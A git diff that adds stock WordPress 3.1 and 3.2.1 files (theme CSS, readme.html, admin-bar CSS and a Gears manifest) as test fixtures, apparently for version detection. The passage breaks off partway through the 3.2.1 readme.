+#content tr.odd td { + background: #F2F7FC; +} +.hentry { + margin: 0 0 48px 0; +} +.home .sticky { + background: #F2F7FC; + border-top: 4px solid #000; + padding: 18px 20px; + margin-left: -20px; + margin-right: -20px; +} +.single .hentry { + margin: 0 0 36px 0; +} +.page-title { + color: #000; + font-size: 14px; + font-weight: bold; + margin: 0 0 36px 0; +} +.page-title span { + color: #333; + font-size: 16px; + font-style: italic; + font-weight: normal; +} +.page-title a:link, +.page-title a:visited { + color:#888; + text-decoration: none; +} +.page-title a:active, +.page-title a:hover { + color: #FF4B33; +} +#content .entry-title { + color: #000; + font-size: 21px; + line-height: 1.3em; + font-weight: bold; + margin-bottom: 0; +} +.entry-title a:link, +.entry-title a:visited { + color:#000; + text-decoration: none; +} +.entry-title a:active, +.entry-title a:hover { + color: #FF4B33; +} +.entry-meta { + color: #888; + font-size: 12px; +} +.entry-meta abbr, +.entry-utility abbr { + border: none; +} +.entry-meta abbr:hover, +.entry-utility abbr:hover { + border-bottom: 1px dotted #666; +} +.entry-content, +.entry-summary { + clear: both; + padding: 12px 0 0 0; +} +#content .entry-summary p:last-child { + margin-bottom: 12px; +} +.entry-content fieldset { + border: 1px solid #E7E7E7; + margin: 0 0 24px 0; + padding: 24px; +} +.entry-content fieldset legend { + background: #fff; + color: #000; + font-weight: bold; + padding: 0 24px; +} +.entry-content input { + margin: 0 0 24px 0; +} +.entry-content input.file, +.entry-content input.button { + margin-right: 24px; +} +.entry-content label { + color: #888; + font-size: 12px; +} +.entry-content select { + margin: 0 0 24px 0; +} +.entry-content sup, +.entry-content sub { + font-size: 10px; +} +.entry-content blockquote.left { + float: left; + margin-left: 0; + margin-right: 24px; + text-align: right; + width: 33%; +} +.entry-content blockquote.right { + float: right; + margin-left: 24px; + margin-right: 0; + text-align: left; + width: 33%; +} +.page-link { + color: #000; + font-weight:bold; + margin:0 0 22px 0; + word-spacing:0.5em; +} +.page-link a:link, +.page-link a:visited { + background: #f1f1f1; + color:#333; + font-weight:normal; + padding:0.5em 0.75em; + text-decoration:none; +} +.home .sticky .page-link a { + background: #D9E8F7; +} +.page-link a:active, +.page-link a:hover { + color: #FF4B33; +} +.page .edit-link { + clear: both; + display: block; +} +#entry-author-info { + background: #F2F7FC; + border-top: 4px solid #000; + padding: 18px 20px; + margin: 24px 0; + overflow: hidden; + clear: both; + font-size: 14px; + line-height: 20px; +} +#entry-author-info #author-avatar { + background: #fff; + border: 1px solid #e7e7e7; + float: left; + margin: 0 -104px 0 0; + padding: 11px; + height: 60px; +} +#entry-author-info #author-description { + float: left; + margin: 0 0 0 104px; +} +#entry-author-info h2 { + color: #000; + font-weight: bold; + font-size: 100%; + margin-bottom: 0; +} +.entry-utility { + color: #888; + font-size: 12px; + line-height: 18px; + clear: both; +} +.entry-meta a, +.entry-utility a { + color: #888; +} +.entry-meta a:hover, +.entry-utility a:hover { + color: #FF4B33; +} +#content .video-player { + padding: 0; +} + + + +/* Asides +-------------------------------------------------------------- */ + +.home #content .category-asides p { + font-size: 14px; + line-height: 20px; + margin-bottom: 10px; + margin-top:0; +} +.home .hentry.category-asides { + padding: 0; +} +.home #content .category-asides .entry-content { + padding-top: 0; +} + + + + +/* Gallery listing +-------------------------------------------------------------- */ + +.category-gallery { + margin-bottom: 48px; +} +.category-gallery h2 { + margin-top: 10px; +} +.category-gallery .entry-meta { +} +.category-gallery .size-thumbnail img { + border: 10px solid #f1f1f1; + margin-bottom: 0; +} +.category-gallery .gallery-thumb { + float: left; + margin-right:20px; + margin-top: -4px; +} +.home #content .category-gallery .entry-content p { + display: inline; +} +.home #content .category-gallery .entry-utility { + padding-top:4px; +} + + +/* Attachment pages +-------------------------------------------------------------- */ + +.entry-content .attachment img { + margin-bottom: 0; +} +.attachment .entry-content .entry-caption { + font-size: 140%; + margin-top: 24px; +} +.attachment .entry-content .nav-previous a:before { + content: '\2190\00a0'; +} +.attachment .entry-content .nav-next a:after { + content: '\00a0\2192'; +} + + + +/* Images +-------------------------------------------------------------- */ + +#content img { + margin: 0; + max-width: 640px; +} +#content .attachment img { + max-width: 900px; +} +#content .alignleft, +#content img.alignleft { + display: inline; + float: left; + margin-right: 24px; + margin-top: 4px; +} +#content .alignright, +#content img.alignright { + display: inline; + float: right; + margin-left: 24px; + margin-top: 4px; +} +#content .aligncenter, +#content img.aligncenter { + clear: both; + display: block; + margin-left: auto; + margin-right: auto; +} +#content img.alignleft, +#content img.alignright, +#content img.aligncenter { + margin-bottom: 12px; +} +#content .wp-caption { + background: #f1f1f1; + line-height: 18px; + text-align: center; + margin-bottom: 20px; + padding: 4px; +} +#content .wp-caption img { + margin: 5px 5px 0; +} +#content .wp-caption p.wp-caption-text { + margin: 5px; + color: #888; + font-size: 12px; +} +#content .wp-smiley { + margin:0; +} +#content .gallery { + margin: auto; +} +#content .gallery .gallery-item { + float: left; + margin-top: 0; + text-align: center; + width: 33%; +} +#content .gallery img { + border: 2px solid #cfcfcf; +} +#content .gallery .gallery-caption { + color: #888; + font-size: 12px; + margin: 0 0 12px; +} +#content .gallery dl { + margin: 0; +} +#content .gallery img { + border: 10px solid #f1f1f1; +} +#content .gallery br+br { + display: none; +} + + + +/* =Navigation +-------------------------------------------------------------- */ + +.navigation { + font-size: 12px; + line-height: 18px; + overflow: hidden; + color: #888; +} +.navigation a:link, +.navigation a:visited { + color: #888; + text-decoration: none; +} +.navigation a:active, +.navigation a:hover { + color: #FF4B33; +} +.nav-previous { + float: left; + width: 50%; +} +.nav-next { + float: right; + width: 50%; + text-align:right; +} +#nav-above { + margin: 0 0 18px 0; +} +#nav-above { + display: none; +} +.paged #nav-above, +.single #nav-above { + display: block; +} +#nav-below { + margin: -18px 0 0 0; +} + + + +/* =Comments +-------------------------------------------------------------- */ +#comments { + clear: both; +} +#comments .navigation { + padding: 0 0 18px 0; +} +h3#comments-title, +h3#reply-title { + color: #000; + font-weight: bold; + font-size: 20px; + margin-bottom: 0; +} +h3#comments-title { + padding: 24px 0; +} +.commentlist { + list-style: none; + margin: 0; +} +.commentlist li.comment { + border-bottom: 1px solid #e7e7e7; + line-height: 24px; + margin: 0 0 24px 0; + padding: 0 0 0 56px; + position: relative; +} +.commentlist li:last-child { + border-bottom:none; + margin-bottom:0; +} +#comments .comment-body ul, +#comments .comment-body ol { + margin-bottom: 18px; +} +#comments .comment-body p:last-child { + margin-bottom: 6px; +} +#comments .comment-body blockquote p:last-child { + margin-bottom: 24px; +} +.commentlist ol { + list-style: decimal; +} +.commentlist .avatar { + position: absolute; + top: 4px; + left: 0; +} +.comment-author { +} +.comment-author cite { + color: #000; + font-style: normal; + font-weight: bold; +} +.comment-author .says { + font-style: italic; +} +.comment-meta { + font-size: 12px; + margin: 0 0 18px 0; +} +.comment-meta a:link, +.comment-meta a:visited { + color: #888; + text-decoration: none; +} +.comment-meta a:active, +.comment-meta a:hover { + color: #FF4B33; +} +.commentlist .even { +} +.commentlist .bypostauthor { +} +.reply { + font-size: 12px; + padding: 0 0 24px 0; +} +.reply a, +a.comment-edit-link { + color: #888; +} +.reply a:hover, +a.comment-edit-link:hover { + color: #FF4B33; +} +.commentlist .children { + list-style: none; + margin: 0; +} +.commentlist .children li { + border: none; + margin: 0; +} +.nopassword, +.nocomments { + display: none; +} +#comments .pingback { + margin-bottom: 18px; + padding-bottom: 18px; + border-bottom: 1px solid #e7e7e7; +} +.commentlist li.comment+li.pingback { + margin-top: -6px; +} +#comments .pingback p { + color: #888; + font-size: 12px; + line-height: 18px; + display:block; + margin: 0; +} +#comments .pingback .url { + font-style: italic; + font-size: 13px; +} + + + +/* Comments form */ +input[type=submit] { + color: #333; +} +#respond { + margin: 24px 0; + border-top: 1px solid #e7e7e7; + overflow: hidden; + position: relative; +} +#respond p { + margin: 0; +} +#respond .comment-notes { + margin-bottom: 1em; +} +.form-allowed-tags { + line-height: 1em; +} +.children #respond { + margin: 0 48px 0 0; +} +h3#reply-title { + margin: 18px 0; +} +#comments-list #respond { + margin: 0 0 18px 0; +} +#comments-list ul #respond { + margin: 0; +} +#cancel-comment-reply-link { + font-size: 12px; + line-height: 18px; + font-weight: normal; +} +#respond .required { + color:#FF4B33; + font-weight:bold; +} +#respond label { + color: #888; + font-size: 12px; +} +#respond input { + margin:0 0 9px; + width:98%; +} +#respond textarea { + width:98%; +} +#respond .form-allowed-tags { + color: #888; + font-size: 12px; + line-height: 18px; +} +#respond .form-allowed-tags code { + font-size: 11px; +} +#respond .form-submit { + margin: 12px 0; +} +#respond .form-submit input { + width: auto; + font-size: 14px; +} + + +/* =Widget Areas +-------------------------------------------------------------- */ + +.widget-area ul { + list-style: none; + margin-left: 0; +} +.widget-area ul ul { + list-style: square; + margin-left: 1.3em; +} +.widget_search #s { /* This keeps the search inputs in line */ + width: 60%; +} +.widget_search label { + display:none; +} +.widget-container { + margin: 0 0 18px 0; +} +.widget-title { + color: #222; + font-weight: bold; +} +.widget-area a:link, +.widget-area a:visited { + text-decoration: none; +} +.widget-area a:active, +.widget-area a:hover { + text-decoration: underline; +} +.widget-area .entry-meta { + font-size: 11px; +} +#wp_tag_cloud div { + line-height: 1.6em; +} +#wp-calendar { + width:100%; +} +#wp-calendar caption { + font-weight: bold; + color: #222; + text-align: left; + font-size:14px; + padding-bottom: 4px; +} +#wp-calendar thead { + font-size:11px; +} +#wp-calendar thead th { +} +#wp-calendar tbody { + color: #aaa; +} +#wp-calendar tbody td { + padding: 3px 0 2px; + background: #f5f5f5; + border:1px solid #fff; + text-align: center; +} +#wp-calendar tbody .pad { + background: none; +} +#wp-calendar tfoot #next { + text-align: right; +} +.widget_rss a.rsswidget { + color: #000; +} +.widget_rss a.rsswidget:hover { + color: #FF4B33; +} +.widget_rss .widget-title img { + height: 11px; + width: 11px; +} + +/* Main sidebars */ +#main .widget-area ul { + margin-left: 0; + padding: 0 20px 0 0; +} +#main .widget-area ul ul { + border: none; + margin-left: 1.3em; + padding: 0; +} +#primary { +} +#secondary { +} + +/* Footer widget areas */ +#footer-widget-area { +} + + + +/* =Footer +-------------------------------------------------------------- */ + +#footer { + margin-bottom: 20px; +} +#colophon { + border-top: 4px solid #000; + margin-top: -4px; + padding: 18px 0; + overflow: hidden; +} +#site-info { + font-weight: bold; +} +#site-info a { + color: #000; + text-decoration: none; +} +#site-generator { + position: relative; + font-style: italic; +} +#site-generator a { + color: #666; + display:inline-block; + text-decoration: none; + background: url(images/wordpress.png) center left no-repeat; + padding-left: 20px; + line-height: 16px; +} +#site-generator a:hover { + text-decoration: underline; +} +img#wpstats { + display:block; + margin: 0 auto 10px; +} + + + +/* Mobile Safari ( iPad, iPhone and iPod Touch ) +-------------------------------------------------------------- */ + +pre { + -webkit-text-size-adjust: 140%; +} +code { + -webkit-text-size-adjust: 160%; +} +#access, +.entry-meta, +.entry-utility, +.navigation, +.widget-area { + -webkit-text-size-adjust: 120%; +} +#site-description { + -webkit-text-size-adjust: none; +} + + + +/* =Print Style +-------------------------------------------------------------- */ + +@media print { + body { + background:none !important; + } + #wrapper { + float: none !important; + clear: both !important; + display: block !important; + position: relative !important; + } + #header { + border-bottom: 2pt solid #000; + padding-bottom: 18pt; + } + #colophon { + border-top: 2pt solid #000; + } + #site-title, + #site-description { + float: none; + margin: 0; + padding:0; + line-height: 1.4em; + } + #site-title { + font-size: 13pt; + } + .entry-content { + font-size: 14pt; + line-height: 1.6em; + } + .entry-title { + font-size: 21pt; + } + #access, + #branding img, + #respond, + .comment-edit-link, + .edit-link, + .navigation, + .page-link, + .widget-area { + display: none !important; + } + #container, + #header, + #footer { + width: 100%; + margin: 0; + } + #content, + .one-column #content { + width: 100%; + margin: 24pt 0 0; + } + .wp-caption p { + font-size: 11pt; + } + #site-info, + #site-generator { + float: none; + width: auto; + } + #colophon { + width: auto; + } + img#wpstats { + display:none + } + #site-generator a { + padding: 0; + margin: 0; + } + #entry-author-info { + border: 1px solid #e7e7e7; + } + #main { + display:inline; + } + .home .sticky { + border: none; + } +} diff --git a/spec/fixtures/wp_versions/3.1/readme.html b/spec/fixtures/wp_versions/3.1/readme.html new file mode 100755 index 00000000..bd56eb59 --- /dev/null +++ b/spec/fixtures/wp_versions/3.1/readme.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.1 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.1.2 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + + diff --git a/spec/fixtures/wp_versions/3.1/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/3.1/wp-admin/gears-manifest.php new file mode 100644 index 00000000..bd063f86 --- /dev/null +++ b/spec/fixtures/wp_versions/3.1/wp-admin/gears-manifest.php @@ -0,0 +1,72 @@ +{ +"betaManifestVersion" : 1, +"version" : "9f1d42cdc7a2098cb65588e29c61f113", +"entries" : [ +{ "url" : "images/align-center.png", "ignoreQuery" : true } +{ "url" : "images/align-left.png", "ignoreQuery" : true } +{ "url" : "images/align-none.png", "ignoreQuery" : true } +{ "url" : "images/align-right.png", "ignoreQuery" : true } +{ "url" : "images/archive-link.png", "ignoreQuery" : true } +{ "url" : "images/blue-grad.png", "ignoreQuery" : true } +{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true } +{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/button-grad.png", "ignoreQuery" : true } +{ "url" : "images/button-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true } +{ "url" : "images/date-button.gif", "ignoreQuery" : true } +{ "url" : "images/ed-bg.gif", "ignoreQuery" : true } +{ "url" : "images/fade-butt.png", "ignoreQuery" : true } +{ "url" : "images/fav.png", "ignoreQuery" : true } +{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/generic.png", "ignoreQuery" : true } +{ "url" : "images/gray-grad.png", "ignoreQuery" : true } +{ "url" : "images/icons32.png", "ignoreQuery" : true } +{ "url" : "images/icons32-vs.png", "ignoreQuery" : true } +{ "url" : "images/list.png", "ignoreQuery" : true } +{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true } +{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true } +{ "url" : "images/logo.gif", "ignoreQuery" : true } +{ "url" : "images/logo-ghost.png", "ignoreQuery" : true } +{ "url" : "images/logo-login.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-image.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-music.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-other.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-video.gif", "ignoreQuery" : true } +{ "url" : "images/menu.png", "ignoreQuery" : true } +{ "url" : "images/menu-vs.png", "ignoreQuery" : true } +{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/no.png", "ignoreQuery" : true } +{ "url" : "images/required.gif", "ignoreQuery" : true } +{ "url" : "images/resize.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true } +{ "url" : "images/se.png", "ignoreQuery" : true } +{ "url" : "images/star.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/white-grad.png", "ignoreQuery" : true } +{ "url" : "images/white-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true } +{ "url" : "images/wp-logo.png", "ignoreQuery" : true } +{ "url" : "images/xit.gif", "ignoreQuery" : true } +{ "url" : "images/yes.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true } +]} diff --git a/spec/fixtures/wp_versions/3.1/wp-includes/css/admin-bar.css b/spec/fixtures/wp_versions/3.1/wp-includes/css/admin-bar.css new file mode 100755 index 00000000..2de4f4d9 --- /dev/null +++ b/spec/fixtures/wp_versions/3.1/wp-includes/css/admin-bar.css @@ -0,0 +1 @@ +#wpadminbar *{height:auto;width:auto;margin:0;padding:0;position:static;text-transform:none;letter-spacing:normal;line-height:1;}#wpadminbar :before,#wpadminbar :after{content:normal;}#wpadminbar a,#wpadminbar a:hover,#wpadminbar a img,#wpadminbar a img:hover{outline:none;border:none;text-decoration:none;background:none;}#wpadminbar{direction:ltr;background-color:#777;background-image:-moz-linear-gradient(bottom,#666,#7f7f7f);background-image:-webkit-gradient(linear,left bottom,left top,from(#666),to(#7f7f7f));color:#ddd;font:normal 12px/28px Arial,Helvetica,sans-serif;height:28px;position:fixed;top:0;left:0;width:100%;z-index:99999;min-width:960px;}#wpadminbar ul,#wpadminbar ul li{background:none;list-style:none;margin:0;padding:0;position:relative;z-index:99999;}#wpadminbar .quicklinks ul{text-align:left;}#wpadminbar .quicklinks ul li{float:left;}#wpadminbar .quicklinks>ul>li>a{border-right:1px solid #686868;border-left:1px solid #808080;}#wpadminbar .quicklinks>ul>li:last-child>a{border-right:none;}#wpadminbar .quicklinks>ul>li:hover>a{border-left-color:#707070;}#wpadminbar .quicklinks a,#wpadminbar .shortlink-input{color:#ddd;height:28px;text-shadow:#555 0 -1px 0;display:block;font:normal 13px/28px Arial,Helvetica,sans-serif;padding:0 .85em;margin:0;}#wpadminbar .quicklinks a>span{line-height:28px;}#wpadminbar .quicklinks .menupop ul,#wpadminbar .shortlink-input{-moz-box-shadow:0 4px 8px rgba(0,0,0,0.1);-webkit-box-shadow:0 4px 8px rgba(0,0,0,0.1);box-shadow:0 4px 8px rgba(0,0,0,0.1);background:#fff;background:rgba(255,255,255,0.97);display:none;position:absolute;border:1px solid #dfdfdf;border-top:none;float:none;}#wpadminbar .selected .shortlink-input{display:block;}#wpadminbar .quicklinks .menupop ul li{float:none;}#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .shortlink-input{color:#555;text-shadow:none;white-space:nowrap;min-width:140px;}#wpadminbar .shortlink-input{width:200px;}#wpadminbar .quicklinks .menupop ul li:hover>a{color:#fff;text-shadow:#666 0 -1px 0;}#wpadminbar .quicklinks li:hover>ul,#wpadminbar .quicklinks li.hover>ul{display:block;}#wpadminbar .quicklinks .menupop li:hover>ul,#wpadminbar .quicklinks .menupop li.hover>ul{margin-left:100%;margin-top:-28px;}#wpadminbar .quicklinks li:hover,#wpadminbar .quicklinks .selected{background:#555;background:-moz-linear-gradient(bottom,#555,#3e3e3e);background:-webkit-gradient(linear,left bottom,left top,from(#555),to(#3e3e3e));}#wpadminbar .quicklinks .menupop li:hover{background:#888;background:-moz-linear-gradient(bottom,#888,#9d9d9d);background:-webkit-gradient(linear,left bottom,left top,from(#888),to(#9d9d9d));}#wpadminbar .quicklinks .menupop a>span{display:inline;background:url(../images/admin-bar-sprite.png?d=11122010) right -58px no-repeat;padding-right:.8em;}#wpadminbar .quicklinks .menupop ul li a>span{display:block;background:url(../images/admin-bar-sprite.png?d=11122010) right -29px no-repeat;padding-right:1.5em;}#wpadminbar .quicklinks a span#ab-awaiting-mod,#wpadminbar .quicklinks a span#ab-updates{background:#eee;color:#333;text-shadow:none;display:inline;padding:2px 5px;font-size:10px;font-weight:bold;-moz-border-radius:10px;-khtml-border-radius:10px;-webkit-border-radius:10px;border-radius:10px;}#wpadminbar .quicklinks a:hover span#ab-awaiting-mod,#wpadminbar .quicklinks a:hover span#ab-updates{background:#fff;color:#000;}#wpadminbar .quicklinks li#wp-admin-bar-my-account>a{border-left:none;}#wpadminbar .quicklinks li#wp-admin-bar-my-account-with-avatar>a{border-left:none;background:url(../images/admin-bar-sprite.png?d=11122010) top left no-repeat;}#wpadminbar .quicklinks li#wp-admin-bar-my-account-with-avatar>a img{display:inline;border:1px solid #999;vertical-align:middle;margin:-2px 23px 0 -5px;padding:0;background:#eee;float:none;}#wpadminbar .quicklinks li#wp-admin-bar-my-account-with-avatar ul{left:30px;}#wpadminbar .quicklinks .menupop li a img.blavatar{vertical-align:middle;margin:0 8px 0 0;padding:0;}#wpadminbar #adminbarsearch{float:right;height:18px;padding:3px;margin:0;}#wpadminbar #adminbarsearch .adminbar-input{width:140px;height:auto;float:left;font:12px Arial,Helvetica,sans-serif;color:#555;text-shadow:0 1px 0 #fff;border:1px solid #626262;padding:2px 3px;margin:0 3px 0 0;background:#ddd;-moz-box-shadow:inset 2px 2px 1px #cdcdcd;-webkit-box-shadow:inset 2px 2px 1px #cdcdcd;box-shadow:inset 2px 2px 1px #cdcdcd;-webkit-border-radius:0;-khtml-border-radius:0;-moz-border-radius:0;border-radius:0;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;outline:none;}#wpadminbar #adminbarsearch .adminbar-button{font:bold 12px Arial,Helvetica,sans-serif;color:#444;text-shadow:0 1px 0 #eee;cursor:pointer;float:left;background:#aaa;background:-moz-linear-gradient(bottom,#aaa,#cecece);background:-webkit-gradient(linear,left bottom,left top,from(#aaa),to(#cecece));-webkit-border-radius:10px;-khtml-border-radius:10px;-moz-border-radius:10px;border-radius:10px;border:1px solid #626262;padding:2px 13px;margin:0;width:auto;height:auto;}#wpadminbar #adminbarsearch .adminbar-button:active{background:#a0a0a0;background:-moz-linear-gradient(bottom,#a0a0a0,#c1c1c1);background:-webkit-gradient(linear,left bottom,left top,from(#a0a0a0),to(#c1c1c1));-moz-box-shadow:inset 1px 1px 1px #9b9b9b;-webkit-box-shadow:inset 1px 1px 1px #9b9b9b;box-shadow:inset 1px 1px 1px #9b9b9b;}#wpadminbar #adminbarsearch .adminbar-button:hover{color:#000;}#wpadminbar #adminbarsearch .adminbar-button::-moz-focus-inner{border:none;}* html #wpadminbar{overflow:hidden;position:absolute;}* html #wpadminbar .quicklinks ul li a{float:left;}* html #wpadminbar .menupop a span{background-image:none;} \ No newline at end of file diff --git a/spec/fixtures/wp_versions/3.2.1/readme.html b/spec/fixtures/wp_versions/3.2.1/readme.html new file mode 100755 index 00000000..691753e2 --- /dev/null +++ b/spec/fixtures/wp_versions/3.2.1/readme.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.2.1 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 5.2.4 or higher.
  • +
  • MySQL version 5.0 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
